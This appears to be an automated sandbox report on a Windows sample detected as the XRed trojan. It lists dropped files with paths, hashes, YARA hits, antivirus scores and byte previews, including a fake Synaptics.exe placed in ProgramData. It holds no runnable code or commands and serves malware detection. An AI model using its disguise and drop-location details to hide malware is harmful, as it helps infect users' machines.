Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.3.1.9.7.5.3.5.6.2.7.3.3.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.3.1.9.7.6.3.7.5.0.2.3.3.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.d.2.4.f.3.5.e.-.6.c.e.6.-.4.6.9.4.-.b.1.8.2.-.8.0.8.d.0.9.4.d.b.a.e.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.2.9.8.0.d.2.4.-.b.9.9.a.-.4.b.8.c.-.9.8.f.c.-.8.1.d.4.c.1.f.4.3.f.c.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.6.c.-.0.0.0.1.-.0.0.1.5.-.0.2.a.9.-.8.2.7.2.4.c.5.d.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.7.d.9.3.4.6.f.f.f.2.8.c.5.3.a.3.2.2.b.a.e.6.f.2.2.7.6.8.a.6.e.6.d.d.4.f.f.b.a.b.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER299F.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6340
Entropy (8bit):	3.722654330844139
Encrypted:	false
SSDEEP:	192:R6l7wVeJAxw6IYik4cqxiprVC89buksfZ6m:R6lXJj6IYt4cqxWuXfl
MD5:	8A12421282763ABE4BDCAECEFC3B292A
SHA1:	A6F61B688041044A6B79C83B20657EFE3F2A24A0
SHA-256:	83FE6B7BE981BDCAF572355D009EE44211DCF2D948A5353E4CD6757BF3AAD0D7
SHA-512:	8A7750886296A23625EBA72B587CB419C8A5BA6B690B3AFA7BC2BD50BAD59EC0666B8979E61837155D87A45F0B0C5F14312BBBA99253BE97923BD4A3DD77C34C
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.4.8.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER29CF.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4590
Entropy (8bit):	4.469420369368134
Encrypted:	false
SSDEEP:	48:cvIwWl8zsVJg77aI9gLWpW8VYU8Ym8M4JFJFj7+q8nLy5TZbd:uIjfvI7y67VRJ99TZbd
MD5:	810CC39727EF49F99BB4E17165837AE1
SHA1:	9DBDFF59D2DCD4D524FBDD6CE5E6D81ECA31A479
SHA-256:	E9AD425D23C43F237017D2947341AF067DD24E5A1C1B551A10F4C1D6C95ABFF6
SHA-512:	FD1A54ACB7F2A20CC94D64D709AF8CBE8E7996B5CD9BCFBF13AA448EBDCDB0F27110F0DDA7C863EC24992F1433D4C02448C4AB0B1F67EB71CBE86A5AAA93C3AA
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="658712" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2AE.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Jan 2 19:29:17 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	4988828
Entropy (8bit):	2.3359883237784507
Encrypted:	false
SSDEEP:	12288:Ftscrr+dNRo7cZfdJRsiTM9cxaAuS/6Xkxk6tl7CRBREAgT:bscafd/3onAubkxHl77h
MD5:	A528C95884EB9905F7DAF70629A02C93
SHA1:	66AEF3DE6E021D4F6ACE3B70F73DAC412DEACAA6
SHA-256:	CCA7AD28A289F3096DBBF4724468F0DF3BF62C146357BAC18ADFDD190E9C48C2
SHA-512:	BB20C303D0670DB21B0949E5A7897C1E7C3238E900CA45FE936253F679E24062534D390E93083AE7377656388D24D234F5B3F8ABA28C3D162BD30C94056EDE72
Malicious:	false
Preview:	MDMP..a..... .........vg............$j..............8q......$............!..............`.......8...........T...........`:..<.I....................................................................................................eJ..............GenuineIntel............T.......l.....vg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Synaptics\RCXF93C.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	771584
Entropy (8bit):	6.62079517282976
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9I1r:ansJ39LyjbJkQFMhmC+6GD9u
MD5:	5C4B663910D58434FF9FEFF5ADE763A9
SHA1:	7D9346FFF28C53A322BAE6F22768A6E6DD4FFBAB
SHA-256:	8BC9137AF614C291D697C7E1DAFDF04A6BB0156FB4720574FA63B97DDC7198D0
SHA-512:	D8016BD62AF930F43EAE3CE2AADD1A4F723981EE21D32C94114555E7E89FAA1B6C16E795F0C69B96E39A1CD107AFDAE31B9A2A5495ABC2524FC236C4C19A191D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\RCXF93C.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCXF93C.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 95%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1581056
Entropy (8bit):	7.064192152092494
Encrypted:	false
SSDEEP:	24576:WnsJ39LyjbJkQFMhmC+6GD9+wfLrvi4cRIyDe3SUNaXy+WypoGHgQ:WnsHyjtk2MYC5GDf+i3DsX1WH5Q
MD5:	2756AFC3782B185D3C05DD880A8E8313
SHA1:	82417BD86F1FB249E296BB6B073B560E47639DDE
SHA-256:	F05B2555733C2AE2EE5A39C1E7B7A833C0BBAE64A020C42A5446274A2545D682
SHA-512:	9FFEA594CD493CBD6FCB9F6F63DFFA9127B17487177E63A466B786BC2D24D8AF270C56DC653720266E6AD410DDCE0931423354B6FA2DC02A7B2CB91E42321FC2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 95%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B......Hw...................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...Hw.......x..................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\12ZFtsN.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258568915490436
Encrypted:	false
SSDEEP:	24:GgsF+0rXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+o+pAZewRDK4mW
MD5:	EC5223BB2E85B20BF7586048BE719FC8
SHA1:	F65050CA248DDF531A1AB754CC898079B5876146
SHA-256:	40A90DAE8ABBF710343AE004095D2C019CEBB2DAF917ABDEECE2C98D068DCE5B
SHA-512:	F3A2F8DA66401214D1645E3A0BB448EFBD1ABC796CF4D26537E4FB8EB8BC4134B657BDA056419AFEE16B82A975BC262C02546FC8A5BC948AF1C4FA93558A735A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="j-qlx36XvvbdCuUZtH0mfg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\1LaFjrg.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.253979919167493
Encrypted:	false
SSDEEP:	24:GgsF+0AaSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+1a+pAZewRDK4mW
MD5:	087D8CF91250668366DE0C435661F20F
SHA1:	0567FE6ACAF078819E92070F732CC42D7B1D4654
SHA-256:	D024D932F40A56A42BA5E6B0357265D049250ACB57D1D6E41C991755B8DE4588
SHA-512:	3ED45A067A288365B912E41543A34EB09761B522EB5D4FC0DE9E891E94A119E8464AE87A816946AC7711D778EBC5A20FCFC61E3B76AA1D76AA5A99ED1405EA8C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="bdka182muREXDmMGG3gcDg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\34IOxpu.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.247265540180141
Encrypted:	false
SSDEEP:	24:GgsF+06CSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+M+pAZewRDK4mW
MD5:	A033D7A6FC848CAD05926D88069FDC91
SHA1:	9C77E5CF7753F8345ADC1DB89A68E5FA1F367B49
SHA-256:	747336557A2B3A9B8BFD0F3B715959D79E37C5058FACC0E9819D3E9642B96ADC
SHA-512:	CCEDACDD530EB140ADD603733F732D77E560327AEEEBF58D803BCB28AB615C6B27C2764E3D3D1FEFA77238F259AD72CEA35F61D5E38F6E636746806F52E46463
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="tnwWllL3XWmbq1uwEGlr8g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\3T62NQF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.253001904039443
Encrypted:	false
SSDEEP:	24:GgsF+0pSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+K+pAZewRDK4mW
MD5:	5AE8CDF51E18D0DA1470147A420E284B
SHA1:	DCC2EA940AE30755583BF22566FCA5F56F7DCAAA
SHA-256:	6CE219DF7557CBB53210F54664747C92D5A202B897B9E8C096C0FF659A4220D6
SHA-512:	DABDCF773886E10F8E583FFEB584D6AADC0440883F4B0C271B1826E629AEC534AB527D3C78F82AC327A9C54992C5ECB1095CA4D6FF0119E5C7FD2F51531EBB85
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="pR9kdTmhMUmILgk2-FwAuw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\6hDaiv9.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265438558654507
Encrypted:	false
SSDEEP:	24:GgsF+0JzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Mz+pAZewRDK4mW
MD5:	CA5D6C91F9D90B8D8087C7E11CFA350D
SHA1:	72181BD4B37D72423EA18A75DC7A0DEB653378C1
SHA-256:	52B4C3341D90A6EE88E7B95B328A681111E4313481D75C236E53514F15AEF3B5
SHA-512:	FB90FD4B40CA8D5318ABDA5CAA0C6AD0B59D4F5A9B5BA5B1D2DDF15B02B28B349BDF22E8E43DD5C7598A03DD3BE128D243BF41452A738B76A49D1BBDBB17E838
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ZfUePxdb-M-JWwSTfX49bA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\7yTwKel.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263064032833336
Encrypted:	false
SSDEEP:	24:GgsF+0QiISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+wI+pAZewRDK4mW
MD5:	3BD7DAB04097FD7F5230BF51D6A4CA4C
SHA1:	534689F5008580C42A47825E73133F67FCFEC9C3
SHA-256:	FDF5F1F122BA303506B997A50063E77281A789C0C80F5A74FD79E83E23B40CFC
SHA-512:	39178A94614A85648BC58496C384A5A76388A9854E80EF8F80A61D9B854461C9879D0124C26934CE124D721DB3B809309A0A43748E7EBB93A712D47AD6A88428
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="wPm-XJy-WA-8MA-r3KAnxA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\83z6115.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260103772948493
Encrypted:	false
SSDEEP:	24:GgsF+0ZlVSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+OlV+pAZewRDK4mW
MD5:	802C90D0539934C819C3637D3E0FE7C6
SHA1:	E0AD828CACDF74D2DB3EC40E6D7179EC431F82D0
SHA-256:	00FE08DA64DB136C73D0C80B142F0F0CB6263213C3A34DB88749DB3C7D80DD30
SHA-512:	2C2918D7F706BCAC55A4A2DCA25F087A9E8EC2E021C5552397D7F3162BD6D7C098039B688C4B94AEF90F990FB34B7EA9DC3C1549CBD582B4ED85846868450EE9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="lO4QqQM7E4wYgqro3NamNQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\865R3vI.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.250587257050382
Encrypted:	false
SSDEEP:	24:GgsF+0OfSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+jf+pAZewRDK4mW
MD5:	163555833ED1F02284A4069AF7AD7F69
SHA1:	A5FD1BC88459477895DA557958A44AF846F2480E
SHA-256:	CCD4CABEFE7A477932184FB2481D566F873268498C2C2087D6EBA795BCB81526
SHA-512:	6DA549E55C029C13C1ED4FC3335B5EB4EC9AFD5591C640C98BBD2410C8FEFB623311D1A191A544C3C24A0346FE93C9F29AE4EE3D55384005F836FD562CBE7F83
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="oYu35lrugjrmcIpkmlQHCQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\8ZQXDkJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26564666932657
Encrypted:	false
SSDEEP:	24:GgsF+0PSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Q+pAZewRDK4mW
MD5:	E747718DF3F7286C3C90209BCB9937BB
SHA1:	7285534D1694DF42F78B045C41234B91BE41B41E
SHA-256:	BDC2634AC950CF459FD021C821FB3B31AFF3E832447F74A213DE8AE53181EAC5
SHA-512:	B8135EB69B3BF1031927F0735F5B6FF701898532B614CC7F15FBA5708AB54B525CC1C1D3C758C84E1BF2141ECC12938A31A27F13E7BADF69CC82398098CC146E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ZqXraaVs_77qD1EHaqiDPA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Ab8ulqa.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26410174978838
Encrypted:	false
SSDEEP:	24:GgsF+05gSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+x+pAZewRDK4mW
MD5:	14B754B0982DBD35DE185F2D360F2679
SHA1:	B283923D985BBA53E923CBB8836FA145D87EBB32
SHA-256:	FDA686558D8B9E6988469034B46D754E2783654B4DC707C865F7E8A13C1628F6
SHA-512:	1231FF53F6BDD3C7F6EFFF80EA192D857FD44C0213CAB486B7225F8ECB34D99A12D4E4ABCEC587E0A265EFCC7E55EE19D1452CF676636895666B94C86F44CA2D
Malicious:	false
